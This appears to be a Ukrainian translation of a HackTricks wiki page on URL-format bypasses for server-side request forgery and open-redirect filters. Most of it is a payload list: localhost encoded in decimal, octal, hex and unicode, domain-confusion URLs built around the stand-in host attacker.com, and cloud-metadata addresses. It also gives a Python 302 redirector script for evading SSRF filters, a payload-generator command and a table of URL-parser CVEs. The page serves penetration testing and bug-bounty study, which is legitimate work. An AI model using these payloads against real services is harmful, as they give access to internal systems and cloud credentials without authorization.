URL Format Bypass
tip
Вивчайте та практикуйте AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Вивчайте та практикуйте GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Вивчайте та практикуйте Azure Hacking:
HackTricks Training Azure Red Team Expert (AzRTE)
Підтримайте HackTricks
- Перевірте плани підписки!
- Приєднуйтесь до 💬 групи Discord або групи telegram або слідкуйте за нами в Twitter 🐦 @hacktricks_live.
- Діліться хакерськими трюками, надсилаючи PR до HackTricks та HackTricks Cloud репозиторіїв на github.
Localhost
# Localhost
0 # Yes, just 0 is localhost in Linuc
http://127.0.0.1:80
http://127.0.0.1:443
http://127.0.0.1:22
http://127.1:80
http://127.000000000000000.1
http://0
http:@0/ --> http://localhost/
http://0.0.0.0:80
http://localhost:80
http://[::]:80/
http://[::]:25/ SMTP
http://[::]:3128/ Squid
http://[0000::1]:80/
http://[0:0:0:0:0:ffff:127.0.0.1]/thefile
http://①②⑦.⓪.⓪.⓪
# CDIR bypass
http://127.127.127.127
http://127.0.1.3
http://127.0.0.0
# Dot bypass
127。0。0。1
127%E3%80%820%E3%80%820%E3%80%821
# Decimal bypass
http://2130706433/ = http://127.0.0.1
http://3232235521/ = http://192.168.0.1
http://3232235777/ = http://192.168.1.1
# Octal Bypass
http://0177.0000.0000.0001
http://00000177.00000000.00000000.00000001
http://017700000001
# Hexadecimal bypass
127.0.0.1 = 0x7f 00 00 01
http://0x7f000001/ = http://127.0.0.1
http://0xc0a80014/ = http://192.168.0.20
0x7f.0x00.0x00.0x01
0x0000007f.0x00000000.0x00000000.0x00000001
# Mixed encodings bypass
169.254.43518 -> Partial Decimal (Class B) format combines the third and fourth parts of the IP address into a decimal number
0xA9.254.0251.0376 -> hexadecimal, decimal and octal
# Add 0s bypass
127.000000000000.1
# You can also mix different encoding formats
# https://www.silisoftware.com/tools/ipconverter.php
# Malformed and rare
localhost:+11211aaa
localhost:00011211aaaa
http://0/
http://127.1
http://127.0.1
# DNS to localhost
localtest.me = 127.0.0.1
customer1.app.localhost.my.company.127.0.0.1.nip.io = 127.0.0.1
mail.ebc.apple.com = 127.0.0.6 (localhost)
127.0.0.1.nip.io = 127.0.0.1 (Resolves to the given IP)
www.example.com.customlookup.www.google.com.endcustom.sentinel.pentesting.us = Resolves to www.google.com
http://customer1.app.localhost.my.company.127.0.0.1.nip.io
http://bugbounty.dod.network = 127.0.0.2 (localhost)
1ynrnhl.xip.io == 169.254.169.254
spoofed.burpcollaborator.net = 127.0.0.1
Розширення Burp Burp-Encode-IP реалізує обхід форматування IP.
Парсер доменів
https:attacker.com
https:/attacker.com
http:/\/\attacker.com
https:/\attacker.com
//attacker.com
\/\/attacker.com/
/\/attacker.com/
/attacker.com
%0D%0A/attacker.com
#attacker.com
#%20@attacker.com
@attacker.com
http://169.254.1698.254\@attacker.com
attacker%00.com
attacker%E3%80%82com
attacker。com
ⒶⓉⓉⒶⒸⓀⒺⓡ.Ⓒⓞⓜ
① ② ③ ④ ⑤ ⑥ ⑦ ⑧ ⑨ ⑩ ⑪ ⑫ ⑬ ⑭ ⑮ ⑯ ⑰ ⑱ ⑲ ⑳ ⑴ ⑵ ⑶ ⑷ ⑸ ⑹ ⑺ ⑻ ⑼ ⑽ ⑾
⑿ ⒀ ⒁ ⒂ ⒃ ⒄ ⒅ ⒆ ⒇ ⒈ ⒉ ⒊ ⒋ ⒌ ⒍ ⒎ ⒏ ⒐ ⒑ ⒒ ⒓ ⒔ ⒕ ⒖ ⒗
⒘ ⒙ ⒚ ⒛ ⒜ ⒝ ⒞ ⒟ ⒠ ⒡ ⒢ ⒣ ⒤ ⒥ ⒦ ⒧ ⒨ ⒩ ⒪ ⒫ ⒬ ⒭ ⒮ ⒯ ⒰
⒱ ⒲ ⒳ ⒴ ⒵ Ⓐ Ⓑ Ⓒ Ⓓ Ⓔ Ⓕ Ⓖ Ⓗ Ⓘ Ⓙ Ⓚ Ⓛ Ⓜ Ⓝ Ⓞ Ⓟ Ⓠ Ⓡ Ⓢ Ⓣ
Ⓤ Ⓥ Ⓦ Ⓧ Ⓨ Ⓩ ⓐ ⓑ ⓒ ⓓ ⓔ ⓕ ⓖ ⓗ ⓘ ⓙ ⓚ ⓛ ⓜ ⓝ ⓞ ⓟ ⓠ ⓡ ⓢ
ⓣ ⓤ ⓥ ⓦ ⓧ ⓨ ⓩ ⓪ ⓫ ⓬ ⓭ ⓮ ⓯ ⓰ ⓱ ⓲ ⓳ ⓴ ⓵ ⓶ ⓷ ⓸ ⓹ ⓺ ⓻ ⓼ ⓽ ⓾ ⓿
Плутанина доменів
# Try also to change attacker.com for 127.0.0.1 to try to access localhost
# Try replacing https by http
# Try URL-encoded characters
https://{domain}@attacker.com
https://{domain}.attacker.com
https://{domain}%6D@attacker.com
https://attacker.com/{domain}
https://attacker.com/?d={domain}
https://attacker.com#{domain}
https://attacker.com@{domain}
https://attacker.com#@{domain}
https://attacker.com%23@{domain}
https://attacker.com%00{domain}
https://attacker.com%0A{domain}
https://attacker.com?{domain}
https://attacker.com///{domain}
https://attacker.com\{domain}/
https://attacker.com;https://{domain}
https://attacker.com\{domain}/
https://attacker.com\.{domain}
https://attacker.com/.{domain}
https://attacker.com\@@{domain}
https://attacker.com:\@@{domain}
https://attacker.com#\@{domain}
https://attacker.com\anything@{domain}/
https://www.victim.com(\u2044)some(\u2044)path(\u2044)(\u0294)some=param(\uff03)hash@attacker.com
# On each IP position try to put 1 attackers domain and the others the victim domain
http://1.1.1.1 &@2.2.2.2# @3.3.3.3/
#Parameter pollution
next={domain}&next=attacker.com
Paths and Extensions Bypass
Якщо вимагається, щоб URL закінчувався шляхом або розширенням, або повинен містити шлях, ви можете спробувати один з наступних обхідних шляхів:
https://metadata/vulerable/path#/expected/path
https://metadata/vulerable/path#.extension
https://metadata/expected/path/..%2f..%2f/vulnerable/path
Fuzzing
Інструмент recollapse може генерувати варіації з даного вводу, щоб спробувати обійти використаний regex. Перегляньте цей пост для отримання додаткової інформації.
Automatic Custom Wordlists
Перегляньте URL validation bypass cheat sheet webapp від portswigger, де ви можете ввести дозволений хост і хост атакуючого, і він згенерує список URL-адрес для вас. Він також враховує, чи можете ви використовувати URL в параметрі, в заголовку Host або в заголовку CORS.
{{#ref}} https://portswigger.net/web-security/ssrf/url-validation-bypass-cheat-sheet {{#endref}}
Bypass via redirect
Можливо, що сервер фільтрує оригінальний запит SSRF але не можливу перенаправлену відповідь на цей запит.
Наприклад, сервер, вразливий до SSRF через: url=https://www.google.com/
, може фільтрувати параметр url. Але якщо ви використовуєте python сервер для відповіді з 302 на місце, куди ви хочете перенаправити, ви можете отримати доступ до відфільтрованих IP-адрес таких як 127.0.0.1 або навіть відфільтрованих протоколів таких як gopher.
Перегляньте цей звіт.
#!/usr/bin/env python3
#python3 ./redirector.py 8000 http://127.0.0.1/
import sys
from http.server import HTTPServer, BaseHTTPRequestHandler
if len(sys.argv)-1 != 2:
print("Usage: {} <port_number> <url>".format(sys.argv[0]))
sys.exit()
class Redirect(BaseHTTPRequestHandler):
def do_GET(self):
self.send_response(302)
self.send_header('Location', sys.argv[2])
self.end_headers()
HTTPServer(("", int(sys.argv[1])), Redirect).serve_forever()
Пояснені трюки
Часник зворотного слешу
Часник зворотного слешу використовує різницю між WHATWG URL Standard та RFC3986. Хоча RFC3986 є загальною основою для URI, WHATWG специфічний для веб-URL і прийнятий сучасними браузерами. Ключова відмінність полягає в тому, що стандарт WHATWG визнає зворотний слеш (\
) як еквівалент прямому слешу (/
), що впливає на те, як URL-адреси розбираються, зокрема, позначаючи перехід від імені хоста до шляху в URL.
Ліва квадратна дужка
Символ “ліва квадратна дужка” [
в сегменті userinfo може призвести до того, що UriComponentsBuilder Spring поверне значення імені хоста, яке відрізняється від браузерів: https://example.com[@attacker.com
Інші непорозуміння
зображення з https://claroty.com/2022/01/10/blog-research-exploiting-url-parsing-confusion/
Трюк з ідентифікатором зони IPv6 (%25)
Сучасні парсери URL, які підтримують RFC 6874, дозволяють link-local IPv6 адресам включати ідентифікатор зони після знака відсотка. Деякі фільтри безпеки не знають про цей синтаксис і лише видаляють IPv6 літерали в квадратних дужках, дозволяючи наступному навантаженню досягти внутрішнього інтерфейсу:
http://[fe80::1%25eth0]/ # %25 = encoded '%', interpreted as fe80::1%eth0
http://[fe80::a9ff:fe00:1%25en0]/ # Another example (macOS style)
Якщо цільовий додаток перевіряє, що хост не є fe80::1
, але зупиняє парсинг на %
, він може неправильно трактувати запит як зовнішній. Завжди нормалізуйте адресу перед будь-яким рішенням щодо безпеки або повністю видаліть необов'язковий ідентифікатор зони.
Останні CVE для парсингу бібліотек (2022–2025)
Кілька основних фреймворків зазнали проблем з невідповідністю імені хоста, які можуть бути використані для SSRF, як тільки перевірка URL була обійдена за допомогою трюків, наведених вище:
Рік | CVE | Компонент | Синопсис помилки | Мінімальний PoC |
---|---|---|---|---|
2024 | CVE-2024-22243 / ‑22262 | Spring UriComponentsBuilder | [ не дозволено в секції userinfo, тому https://example.com\[@internal розглядається як хост example.com Spring, але як internal браузерами, що дозволяє відкриті перенаправлення та SSRF, коли використовуються списки дозволених хостів. Оновіть до Spring 5.3.34 / 6.0.19 / 6.1.6+. | |
2023 | CVE-2023-27592 | urllib3 <1.26.15 | Плутанина з зворотним слешем дозволила http://example.com\\@169.254.169.254/ обійти фільтри хостів, які розділяються на @ . | |
2022 | CVE-2022-3602 | OpenSSL | Перевірка імені хоста пропускалася, коли ім'я закінчувалося на . (плутанина бездоменного імені). |
Коли ви покладаєтеся на парсери URL сторонніх розробників, порівнюйте канонізований хост, повернутий бібліотекою, якій ви довіряєте, з сирим рядком, наданим користувачем, щоб виявити ці класи проблем.
Допоміжні засоби для генерації payload (2024+)
Створення великих кастомних списків слів вручну є обтяжливим. Відкритий інструмент SSRF-PayloadMaker (Python 3) тепер може автоматично генерувати 80 тис.+ комбінацій зміни хостів, включаючи змішані кодування, примусове зниження HTTP та варіанти зі зворотним слешем:
# Generate every known bypass that transforms the allowed host example.com to attacker.com
python3 ssrf_maker.py --allowed example.com --attacker attacker.com -A -o payloads.txt
Список, що отримується, можна безпосередньо використовувати в Burp Intruder або ffuf
.
Посилання
- https://as745591.medium.com/albussec-penetration-list-08-server-side-request-forgery-ssrf-sample-90267f095d25
- https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/Server%20Side%20Request%20Forgery/README.md
- https://portswigger.net/research/new-crazy-payloads-in-the-url-validation-bypass-cheat-sheet
- https://nvd.nist.gov/vuln/detail/CVE-2024-22243
- https://github.com/hsynuzm/SSRF-PayloadMaker
tip
Вивчайте та практикуйте AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Вивчайте та практикуйте GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Вивчайте та практикуйте Azure Hacking:
HackTricks Training Azure Red Team Expert (AzRTE)
Підтримайте HackTricks
- Перевірте плани підписки!
- Приєднуйтесь до 💬 групи Discord або групи telegram або слідкуйте за нами в Twitter 🐦 @hacktricks_live.
- Діліться хакерськими трюками, надсилаючи PR до HackTricks та HackTricks Cloud репозиторіїв на github.